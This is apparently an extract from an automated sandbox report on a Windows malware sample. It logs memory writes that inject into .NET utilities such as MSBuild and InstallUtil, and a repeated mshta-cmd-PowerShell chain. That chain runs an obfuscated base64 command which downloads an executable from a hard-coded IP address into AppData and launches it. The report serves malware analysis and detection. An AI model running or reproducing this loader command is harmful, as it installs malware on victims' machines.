Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 478000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 479000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 47E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 7EFDE008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 459000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 471000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 477000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 478000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 479000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 47E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 459000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 471000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 477000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 478000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 479000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 47E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

25_2_004120F7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_00419627 mouse_event,

25_2_00419627

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC41B.tmp" "c:\Users\user\AppData\Local\Temp\ofvwqfjd\CSC42CCF8E8871B428699CAD148D9BC26FF.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC9F.tmp" "c:\Users\user\AppData\Local\Temp\ge3s1wmx\CSCB36078EA61014130AC1261969F8319D.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]34+'jdf6sudoc3cgicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicbhzeqtdflwrsagicagicagicagicagicagicagicagicagicagicatbuvnymvyzgvmau5jvelvbiagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgidxjsbw9uiiwgicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicbytvh2evrsvnfglhn0cmluzyagicagicagicagicagicagicagicagicagicagicbvlhn0cmluzyagicagicagicagicagicagicagicagicagicagicbqq2csdwludcagicagicagicagicagicagicagicagicagicagicbrrnzhwhffdgdoleludfb0ciagicagicagicagicagicagicagicagicagicagicbieck7jyagicagicagicagicagicagicagicagicagicagicattkfnrsagicagicagicagicagicagicagicagicagicagicaizgiiicagicagicagicagicagicagicagicagicagicagic1oqw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicageufqvfb0ccagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicqxeklhtnn3ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3my4xndmundyvvdi1mddgl2nzcnnzlmv4zsisiirfbny6qvbqrefuqvx3aw5pdgkuzxhliiwwldapo1n0qxjulxnmzuvwkdmpo3nuqvjuicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcd2luaxrplmv4zsi='+[char]34+'))')))"	Jump to behavior
